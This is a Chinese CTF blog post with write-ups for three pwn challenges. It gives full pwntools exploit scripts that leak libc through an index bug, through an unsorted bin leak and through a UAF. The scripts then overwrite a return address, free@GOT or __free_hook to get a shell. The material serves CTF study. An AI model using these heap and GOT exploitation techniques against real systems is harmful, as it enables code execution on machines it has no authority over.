pwn

信息安全竞赛

之pwn

Posted by pic4xiu on September 4, 2019

your_pwn

思路

数组索引不规范

根据栈中的偏移我们可以得到__libc_start_main的地址,进而得到libc版本,介绍一个神器,他可以根据函数地址偏移来确定版本号,例如我们以这题为例,我们通过本地调试找到栈中存放__libc_start_main + 240的位置,之后到远程打的时候通过这个泄漏出来这个,然后利用神器直接看

>>> 0x830-240
1856
>>> hex(1856)
'0x740'
>>> from LibcSearcher import *
>>> obj = LibcSearcher("__libc_start_main", 0X740)
>>> obj.dump("system")
Multi Results:
 0: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
 1: archive-glibc (id libc6_2.23-0ubuntu3_amd64)
Please supply more info using 
	add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:

可以看到,直接把libc整出来了,我们看看

# root @ pic-RESCUER-R720-15IKBN in ~/桌面/guosai [11:28:01] 
$ nm -D /lib/x86_64-linux-gnu/libc-2.23.so | grep main
000000000002e1a0 W bindtextdomain
000000000002e400 W bind_textdomain_codeset
00000000000fd500 T getdomainname
0000000000118730 T __getdomainname_chk
0000000000071c10 T _IO_switch_to_main_wget_area
000000000018cbc0 R _libc_intl_domainname
0000000000020740 T __libc_start_main
00000000003c93a8 B _nl_domain_bindings
00000000000fd570 T setdomainname
0000000000032620 W textdomain

exp

转自大佬

from pwn import *
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')

def debug():
    print pidof(p)
    raw_input()

#step1 leak libc_base
p.recvuntil('name:')
p.sendline('test')
libc_leak = ''
for i in range(637 , 631 , -1):		#从637一个字节一个字节到632(小端存储)获取字节
    p.recvuntil('index\n')
    p.sendline(str(i))
    p.recvuntil('(hex) ')
    aa = p.recvuntil('\n')[:-1]
    if(len(aa) < 2):
        libc_leak += '0' + aa
    elif(len(aa) == 8):
        libc_leak += aa[-2:]
    else:
        libc_leak += aa
    p.recvuntil('value\n')
    p.sendline('1')
print libc_leak
libc.address = int('0x' + libc_leak , 16) - libc.symbols['__libc_start_main'] - 240	# 获取到了后找到基址
success('libc_base => ' + hex(libc.address))
one_gadget = 0xf02a4 + libc.address	# 通过one_gadget直接定位的

#step2 overwrite EIP to one_gadget
for i in range(6):
    p.recvuntil('index\n')
    p.sendline(str(i + 344))
    p.recvuntil('value\n')
    p.sendline(str(ord(p64(one_gadget)[i])))	# 把它写到ret处

#Get Shell & Have Fun
#debug()
p.sendline('a')
p.recvuntil('(yes/no)? \n')
p.interactive()

感觉本题最恶心人的就是

    elif(len(aa) == 8):
        libc_leak += aa[-2:]

本题的循环输入输出

  for ( i = 0; i <= 40; ++i )
  {
    puts("input index");
    __isoc99_scanf("%d", &v1);
    printf("now value(hex) %x\n", (unsigned int)v4[v1]);
    puts("input new value");
    __isoc99_scanf("%d", &v2);
    v4[v1] = v2;
  }

可以看到在输出时把原来char型转成了unsigned int型,导致会输出一堆ffff,处理方式就是只要后边的倒数1、2位

your_pwn在之前的时候已经解了,具体可以看这个

看了看暑假肝过的堆,怎么一点不记得了,明天赶紧学第二遍

double

exp

from pwn import *
local = 1

if local:
    p = process('./double')
else:
    p = remote('e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com' , 40002)#nc e095ff54e419a6e01532dee4ba86fa9c.kr-lab.com 40002

libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
elf = ELF('./double')

def add(data):
    p.recvuntil('> ')
    p.sendline('1')
    p.recvuntil('data:\n')
    p.sendline(data)

def show(index):
    p.recvuntil('> ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(index))
    return p.recvuntil('\n----')[:-5]

def edit(index , data):
    p.recvuntil('> ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(index))
    sleep(0.1)
    p.sendline(data)

def delete(index):
    p.recvuntil('> ')
    p.sendline('4')
    p.recvuntil('index: ')
    p.sendline(str(index))

def debug():
    print pidof(p)
    raw_input()

#step1 leak libc_base
add('a' * 0x17)         #0
add('a' * 0x17)         #1
delete(0)
add('a' * 0x7f)         #2
add('a' * 0x7f)         #3
add('/bin/sh\x00')      #4
delete(2)

libc.address = u64(show(3).ljust(8 , '\x00')) - 0x3c4b78
system_addr = libc.symbols['system']
free_got = elf.got['free']
success('libc_base => ' + hex(libc.address))
success('system_addr => ' + hex(system_addr))
success('free_got => ' + hex(free_got))

#step2 use UAF to change free_got to system_addr
fake_header = p32(0x3) + p32(0x7f)
payload = fake_header + p64(free_got)
edit(1 , payload)
edit(3 , p64(system_addr))
debug()
#Get Shell & Have Fun
delete(4)
p.interactive()

解读

本题漏洞点在

    if ( qword_4040D8 && !strcmp(*(const char **)(qword_4040D8 + 8), &s2) )
    {
      *ptr = *(_DWORD *)v3 + 1;
      ptr[1] = *(_DWORD *)(v3 + 4);
      *((_QWORD *)ptr + 1) = *(_QWORD *)(v3 + 8);
      *((_QWORD *)ptr + 2) = 0LL;
      *(_QWORD *)(v3 + 16) = ptr;
      qword_4040D8 = (__int64)ptr;
    }

看到如果写的内容一样的话就直接把它 copy 过来,这样我们的思路就是不断利用 uaf 构造一个恶意的输入,所以步骤

  • 首先搞出来一个 unsort bin 泄漏 libc 地址
  • 之后找一个堆来写伪造的 head
  • 在这个伪造堆中填入 free
  • 修改为 system 即可

研究这个 wp 发现,这绝对是大佬的手笔啊,这么精简,简直太强了,膜一下 Fish_o0O

daily

任意位置 free

我一开始找不到漏洞,在师傅们的 wp 下找到了点,我找漏洞实在是太不敏感,只能发现单字节溢出, UAF 这种洞,还得练呀

这题看师傅的思路很明白了,首先 malloc 几个然后让 unsortedbin 连起来,这样一个堆就能泄漏一个 heap 一个 libc ,学到了

之后利用任意地址 free ,把 fastbin 搞到 bss 端,之后把指针的指向改成常规的 free_hook 和 malloc_hook ,然后写入 system 就行了

from pwn import *
p = process('./daily')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
#context.log_level='debug'

def show():
    p.recvuntil('choice:')
    p.sendline('1')
    raw = p.recvuntil('===')[:-4]
    return raw

def add(length , content):
    p.recvuntil('choice:')
    p.sendline('2')
    p.recvuntil('daily:')
    p.sendline(str(length))
    p.recvuntil('daily\n')
    p.sendline(content)

def change(index , content):
    p.recvuntil('choice:')
    p.sendline('3')
    p.recvuntil('daily:')
    p.sendline(str(index))
    p.recvuntil('daily\n')
    p.sendline(content)

def remove(index):
    p.recvuntil('choice:')
    p.sendline('4')
    p.recvuntil('daily:')
    p.sendline(str(index))

#step1 leak libc&heap base
for i in range(5):
    add(0x80 , '\x00' * 0x5f)

remove(1)
remove(3)
add(0x80 , '')
libc.address = u64(show().split('1 : ')[1][:6].ljust(8 , '\x00')) - 0x3c4b0a
change(1 , 'abcdefgh')
heap_base = u64(show().split('abcdefgh')[1].split('2 :')[0].ljust(8 , '\x00')) - 0x10a
free_hook = libc.symbols['__free_hook']
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('heap_base => ' + hex(heap_base))
success('free_hook => ' + hex(free_hook))
success('system_addr => ' + hex(system_addr))
success('heap_base => ' + hex(heap_base))
#step2 clear heap
remove(4)
remove(2)
remove(1)
remove(0)

#step3 free2fastbin
add(0x30 , 'a' * 8 + p64(heap_base + 0x10)) #heap_base + 0x18
#0
gdb.attach(p)
offset = (heap_base - 0x602060) / 16 + 1
remove(offset)

#step4 fastbin attack : free_hook => system
add(0x41 , '\x00' * 0x40)
#1

change(0 , p64(0x602068))

add(0x30 , '/bin/sh\x00')       #heap
add(0x30 , p64(free_hook))      #bss
change(1 , p64(system_addr))
#Get Ghell & Have Fun
remove(0)
p.interactive()